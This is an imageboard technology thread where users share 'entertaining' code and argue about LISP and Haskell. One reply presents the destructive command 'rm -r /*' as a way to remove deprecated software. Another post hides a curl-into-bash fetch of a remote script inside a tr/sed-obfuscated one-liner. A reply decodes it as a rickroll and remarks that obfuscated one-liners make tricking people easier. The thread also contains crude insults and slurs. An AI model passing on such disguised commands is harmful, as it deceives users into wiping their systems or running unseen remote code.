[ / / / / / / / / / / / / / ] [ dir / asatru / dcyuri / hkwork / mai / rzabczan / sei / vg / wx ][Options][ watchlist ]

/tech/ - Technology

You can now write text to your AI-generated image at https://aiproto.com It is currently free to use for Proto members.
Name
Email
Subject
Comment *
File
Select/drop/paste files here
Password (Randomized for file and post deletion; you may also set your own.)
* = required field[▶ Show post options & limits]
Confused? See the FAQ.
Expand all images

File (hide): b2134fdc5a320a9⋯.png (1.42 MB, 1280x600, 32:15, ClipboardImage.png) (h) (u)

[–]

 No.928455[Watch Thread][Show All Posts]

ITT: We post obscure code that bears entertaining results.

Run this in .Net:


static void cocker()
{
Console.CursorVisible = false;

Action<char, int> getit = (c, n) =>
{
for (int i = 0; i < n; i++)
{
Console.Write(c);
}
};

var bally = (char)48;
var seggy = (char)61;
var belly = (char)68;
var woodog = 10;
var colors = Enum.GetValues(typeof(ConsoleColor))
.Cast<ConsoleColor>().Where(c => c != ConsoleColor.Black && c != ConsoleColor.DarkBlue);

while (true)
{
foreach (var color in colors)
{
Console.ForegroundColor = color;
Console.CursorTop = 10;
Console.CursorLeft = (Console.BufferWidth / 2) - woodog / 2;

var cp = new { left = Console.CursorLeft, top = Console.CursorTop };

Console.CursorTop++;
getit(bally, 2);
Console.CursorTop = cp.top;
Console.CursorLeft = cp.left;

getit(seggy, 3);
getit(belly, 1);

int i = 0;

for (; i < woodog; i++)
{
Thread.Sleep((5 * i));
Console.CursorLeft--;
getit(seggy, 1);
getit(belly, 1);
}

for (; i > 1; i--)
{
Thread.Sleep((5 * i));
Console.CursorLeft = Console.CursorLeft - 2;
getit(belly, 1);
Console.Write(' ');
Console.CursorLeft--;
}

Console.Clear();
}
}
}

 No.928465>>928472


#line below gets rid of deprecated software
rm -r /*


 No.928472


 No.928488>>928489

Here is some good code in .NET:




 No.928489>>928518

>>928488

Better than LISP


 No.928515

What about a script that takes in a file and outputs a video that you can upload to youtube?


 No.928518>>928522 >>928576 >>928589 >>928683 >>928887

File (hide): 8cef58b7183d22b⋯.png (115.7 KB, 629x588, 629:588, p.png) (h) (u)

>>928489

Lisp is beautiful.


 No.928522

>>928518

It looks like an ugly language, and it doesn't have as much facility as other languages. Even python is more useful than LISP tbh.


 No.928576>>928581

>>928518

Well just use Haskell, you ugly piece of shit


 No.928581>>928588

>>928576

Haskell is a worthless bondage and discipline language.


 No.928588

>>928581

There is nothing wrong about Bondage and Discipline, it just makes it better.

Like Fifty shades of Grey.


 No.928589>>928592

File (hide): b13bd97945b77b0⋯.png (472.47 KB, 800x584, 100:73, lisp.png) (h) (u)


 No.928592


 No.928667>>928674 >>928736

Bash one-liners thread? Bash one-liners thread!

echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L. | bash | bash


 No.928674>>928858

>>928667

What is this?


 No.928683>>928690

>>928518

>Long ago, ended up playing a game called Haven and Hearth

>Started with /tg/, but ended up getting separated because of reasons

>Eventually got reunited with them, but then got shuffled off to the goons because my wandering habits made me more useful as a thief than anything else, and /tg/ couldn't make use of me that way

>Goons had a custom client for the game that included a botting system

>It was based entirely on LISP

>Written by a caffeine-addled retard

>And maintained by a fucking Russian they'd picked up under equally dubious circumstances

>Most of the established functions only sort-of-halfway worked

>Ended up spending more time correcting issues with the bot scripting part of the client than actually playing the game

>The pair of Swedes that made the game ended up entirely redoing it, rendering all of my work obsolete because the custom client the goons had could no longer interface with the new version

Fucking Russians. Fucking goons. Fucking LISP.


 No.928690>>928694

>>928683

>shitty programmer writes shitty code

cool story bro


 No.928694>>928819 >>928882

File (hide): 1971329d91ed721⋯.gif (262.45 KB, 520x360, 13:9, It keeps me up at night.gif) (h) (u)

>>928690

I wasn't a coder prior to this. I'm still not, but I've learned to loathe the pointless parentheses-tracking I was constantly having to do with LISP. The real reason nobody makes anything of value with it is because all of the great LISP coders are still trying to figure out where they forgot to hit Shift-0.


 No.928736>>928820 >>929935

>>928667

Piping shit into bash? Yeah, that's a fucking good idea:


$ echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L.
curl -sL http://bit.ly/10hA8iC
$ curl -sL http://bit.ly/10hA8iC | head
#!/bin/bash
# Rick Astley in your Terminal.
# By Serene Han and Justine Tunney <3
version='1.1'
rick='http://keroserene.net/lol'
video="$rick/astley80.full.bz2"
# TODO: I'll let someone with mac or windows machine send a pull request
# to get gsm going again :)
audio_gsm="$rick/roll.gsm"
audio_raw="$rick/roll.s16"

Yeah, nice fucking "one-liner". It literally downloads a bash program and runs it, and that bash program has an embedded python program that is loaded and run, and that python program actually does the work.


 No.928819>>928882 >>928888

>>928694

Every self-respecting programmer's editor has a rainbow parens mode for LISP. That's a solved problem.


 No.928820

>>928736

It's the effect that counts! :3


 No.928858

>>928674

A command-line rickroll.


 No.928882

>>928694

>>928819

Don't forget structural editing packages like parinfer and paredit.


 No.928887>>929139

>>928518

>posts scheme instead of lisp

wew lad


 No.928888>>929138

>>928819

>I wasn't a coder... I'm still not

>Every self-respecting programmer

Not him but


 No.929138

>>928888

>programmer's editor

that's a phrase


 No.929139

>>928887

Scheme is basically a LISP dialect you triple autist.


 No.929430

Can someone make an audio script that converts arbitrary files to mp3s that are Soundcloud compression-proof?


 No.929935

>>928736

Good luck tricking a faggot to write and run a script file. An obfuscated one-line command is much easier to pull off.




[Return][Go to top][Catalog][Screencap][Nerve Center][Cancer][Update] ( Scroll to new posts) ( Auto) 5
28 replies | 3 images | Page ?
[Post a Reply]
[ / / / / / / / / / / / / / ] [ dir / asatru / dcyuri / hkwork / mai / rzabczan / sei / vg / wx ][ watchlist ]